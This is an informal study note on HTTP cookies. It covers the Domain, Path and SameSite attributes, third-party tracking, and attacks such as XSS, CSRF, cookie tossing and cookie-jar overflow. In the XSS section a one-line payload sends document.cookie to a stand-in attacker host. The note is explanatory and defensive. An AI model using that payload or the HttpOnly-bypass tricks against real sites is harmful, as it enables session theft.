tags : Web Authentication, Web Development, Web Storage, HTTP, Security, Identity Management
“I give him a packet, he gives me back a cookie.” The claim check you get from a dry-cleaning shop is a perfect mundane example of a cookie; the only thing it’s useful for is to relate a later transaction to this one (so you get the same clothes back).
Links and resources
FAQ
History?
Limitations on cookies?
- How many cookies are allowed per origin
- How much space these cookies can use on the disk.
When to use?
Don’t
- Don’t use cookies for storing preference data in the browser (Cookies sent on every HTTP request, makes no sense sending what theme the user wants locally to the server on every req.)
- Even though its possible to create cookies client side, not a good idea to use them for storage. Use Web Storage instead.
- These mean nothing to the recipient, more only for server side. So better to use cookies to maintain state for sever and client rather than use cookies to maintain client state.
Do
- Do preserve shared state b/w client/server across page navigation
- OK to use for storing auth token etc. See Web Authentication
SameSite vs 3rd party
- These are not related.
- SameSite is for CSRF protection. It’s about preventing “sending” of cookies.
- 3rd party cookies is more about allowing a 3rd party to “create” cookie while you’re in a 1st party website eg. loading image from a 3rd party.
Origin domain vs Domain attribute vs Effective domain
Origin domain
: Domain of the originating request.Domain
: This is the attribute that is set viaSet-cookie
- Effective domain: This is the interpretation of
Domain
(Browser specific) - CORS
What’s Cookie Hardening?
- flags:
HttpOnly + Secure + SameSite + Max-Age + cookie prefixes
What is this cookie thing?
Identity
- 4 identifying characteristics: key=value, domain, path, secure
- So if server sends,
name=A,d,p,s
and then againname=A,d,p,ss
, we’ll have 2 cookies in the client wname=A
and it’ll be sent to the origin on each request. - This can result in cookie tossing
Creating
Cookies can be created both in the client as well in the server.
server-side
- Set via
Set-cookie
response header - Allows HTTP to be stateful in a way
- server-side cookies is the usual case.
- Cookies used for session management are created in the server. Sometimes these are called server-side cookies.
- These are also validated in the server.
client-side
- Client side cookie creation example. (even if possible, don’t use cookies to store data for client side apps). Using
document.cookie
Configuration
There is no configuration as such, I just think it’s a nice way to think about it.
Attributes
Domain
You can set which domains it should be set for.
- What it can be
domain=
(not set) will set for only domain that sent theSet-cookie
response. ( THIS IS THE CORRECT WAY TO SCOPE )domain=.example.com
will set for all subdomains and itself.domain=example.com
will set for all subdomains and itself. ⚠- Browsers will automatically convert this to
domain=.example.com
and will work the same. - So there’s the
Domain
attribute that is being sent by then there’s effective domain that the browser applies on the cookie. In this case browsers will alter this.
- Browsers will automatically convert this to
- What it cannot be
- You can’t manually set a cookie for a top level domain. The
.
will always be set by the browser. If you want to set for the origin, just don’t specifydomain
- originating sever can only set cookies for itself and of a parent domain domain unless tld/public suffix.
- Eg.
geekodour.org
can’t set forgoogle.com
- Eg.
play.geekodour.org
can set forgeekodour.com
- You can’t manually set a cookie for a top level domain. The
Path
- Send cookies when this path matches
- When sending the cookies to the origin, it’s sent
in an order
. Cookies with more specific paths are ordered first.
Expires/Max-Age
SameSite
- This is new thing. was not there popularly till 2019.
- Allows you to configure if the cookie gets sent to the
effective domain
if link was clicked on another site(cross-site
). SameSite:None
is not uncommon and some sites usually need it. Eg. IfSameSite:Strict
on youtube, if you click on YT from google search results, even if you’re logged in it’ll not send your cookies and will show logged out. Only in reload it’ll log you back in.
-
Strict
- Only same-site exact match.
- Directly put on browser URL.
- Ideal for banks to use this, but usually extra for most cases
-
Lax
- Current browser default, if nothing is set
- Will send if the clicked link(on cross-site) is a browser URL changing GET/HEAD request.
- Cookies will not be sent when used with CSRF-prone request such as POST.
- Cookies will not be sent when request is something like iframe, img src etc.
-
None
- Cross site cookies allowed, no restrictions.
- But you must always use this with
secure
flag.
Flags
- Secure
- HTTPS only
- HTTPOnly
- When we don’t want JS to have access to our cookies
Prefixes
- This is a precautionary measure eg.
__Host
and__Secure
- Cookie Prefixes Sample
Current browser defaults
- Cookies w/o a
SameSite
will be setSameSite=Lax
- Cookies w
SameSite=None
must also specifySecure
What’s the process?
- When the browser initially gets a response w
Set Cookie
, it’ll set/create the cookie for you and set the effective domain. - After that, browser will send those cookies back to the
effective domain/path
on every request. (That’s the cookie policy) - Only the
k=v
is sent in the request, attributes such as domain, path etc are not sent to the server.
More on browser sending cookies on every request
- Yes they’re sent to the origin for ANY request. image, text, iframe, anything.
- This is why it’s recommended to serve static assets from a no-cookie domain to save bandwidth.
- We can however control whether to send cookies or no with
path
,same-site
attribute etc. - There are also other things such as setting anonymous on script load etc.
Cookie policy + Same origin policy
same-site
is not involved here.- Cookie policy: Will send cookies to
effective domain
only - Same origin policy: When HTTPOnly not set, only a.com will only have access to cookies of
a.com
and never ofb.com
- See CORS
Types
- This distinction is based on the “current” page being viewed.
- This distinction is browser side, the server/origin has no notion of 1st party/3rd party.
1st party
Cookies that match the domain of the current site are referred to as first-party cookies.
3rd party
- Disabled by firefox by default. AKA cross-site cookies
- cookies set by a website other than the one you are currently on
- If you load assets from Y.com in X.com, if Y.com is sending
set-cookie
, your browser will add Y.com cookies while you’re in X.com. - Anytime you load anything from Y.com now, the cookies set previously by Y.com will be sent to Y.com allowing Y.com to track you.
- They can come in many shapes and sizes,
<link>,<script>,<object>,<iframe>
- Using
HTTP referrer
header Y.com might also be able to track which websites you visiting.
Disabling 3rd party cookies
- Even if in websites you click “do not accept cookies”, the website might still do it behind the scenes so the safest thing to do is block 3rd party cookies in the browser settings. In that case even if you allow, they won’t be able to track 3rd party cookies
Security
XSS
- Cookie can be accessed using Javascript
new Image().src = `http://evil.co/steal.php?cookie=${document.cookie}`;
HTTPOnly
cookie can help in making sure that JS can’t access(r/w) the cookie. It’ll only be sent back and forth between the server.- But even after using
HTTPOnly
, the attacker can still make request to legit server which uses those cookies. At which point you’re f’ed. So just make sure attacker can’t run JS inside ur application. But atleast they won’t be able to login to the user account themselves because they’ll never have access to the cookie.
CSRF
- If you’re on X.com and you have some cookies from fb.com. X.com has some link to fb.com. When you click on that link, your browser will send your fb.com cookies to fb.com when you click it.
- So if they have a malicious crafted url, eg.
fb.com/deleteaccount
, since it’ll send your cookie along w, bad things can happen. SameSite
can help make things better here
Session Hijacking
- If using over HTTPS, usually this can’t happen
- We can also use a session key(might be combo of IP+time of login+device etc). So if attacker logins from diff. machine all other creds will be correct but duplicating the session key will be hard for them.
Cookie Injection
- Inject a totally new cookie
name=value
pair into other domains. - Now shared subdomains are vulnerable by design
- Eg.
you.github.io
,notyou.github.io
now by using the domain attribute for all subdomains you can set a cookie fornotyou.github.io
! Set it a large enough cookie and you have a cookie bomb. This is prevented by the public suffix list. - Also this means you can’t set cookies on TLDs (See DNS). But there are certain TLDs such as
.com.tw
which are confusing if its TLD or not. The publicsuffix list also keeps track of these.
Limited Cookie Injection
- Inject our data into an
existing
cookie into domain/subdomains. - This can result in client-side DoS by injecting a big cookie and then the origin server will reject the cookie based on request header.
Cookie tossing
- Yummy cookies across domains
- Same name, different value
a.cool.com
can set cookie onb.cool.com
b.cool.com
has a cookiex=y
a.cool.com
can set a cookiex=z
forb.cool.com
because of cookie identity is based on the tuple thing.- When we go
b.cool.com
, origin will getx=y
andx=z
both. And server has no idea what is what anymore. The ordering of cookies come into play here. Usually the cookie created earlier takes initial positions. So forced duplicate cookies are placed later. - This can allow us to bypass
HTTPOnly
flag, because for sure we won’t have access to the original cookie from JS but if we have XSS on a subdomain, we can create another cookie with the same name and different attributes.
Overflow cookie jar
- Because browser will clear cookies if it hits limit
- We can create junk cookies and overflow the HTTPOnly cookie even if we don’t have direct access to it